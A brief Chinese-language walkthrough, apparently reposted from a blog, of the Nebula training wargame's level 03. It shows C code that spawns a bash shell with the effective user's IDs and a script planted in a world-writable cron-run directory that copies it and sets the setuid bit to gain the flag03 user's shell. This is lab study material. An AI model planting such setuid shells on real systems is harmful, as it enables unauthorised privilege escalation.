Nebula Challenge 03

 

/home/flag03 目录下有 writable.d 文件夹和 writable.sh 文件,查看.sh文件的内容,发现这个脚本是将writable.d文件夹里的内容执行5秒,然后kill 进程,并删除文件。

 

这个writable.sh脚本是flag03用户每隔几分钟运行一次;writable.d文件夹是所有用户可写的

 

可以仿照第一题的C

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/bin/bash");
}  

 对其进行编译链接,得到可执行文件 /tmp/Getflag ,然后在writable.d文件夹中创建.sh文件

1 #!/bin/sh
2 cp /tmp/Getflag /tmp/Getflag2
3 chmod u+s /tmp/Getflag2

这样,一旦flag03的程序运行了.sh文件,就会在/tmp 目录下创建属于 flag03 的 Getflag2,并且设置了set-user-id位,这个时候再去运行Getflag03文件,就会产生 flag03 下的 shell 。

转载于:https://www.cnblogs.com/iamgroot/p/9355281.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值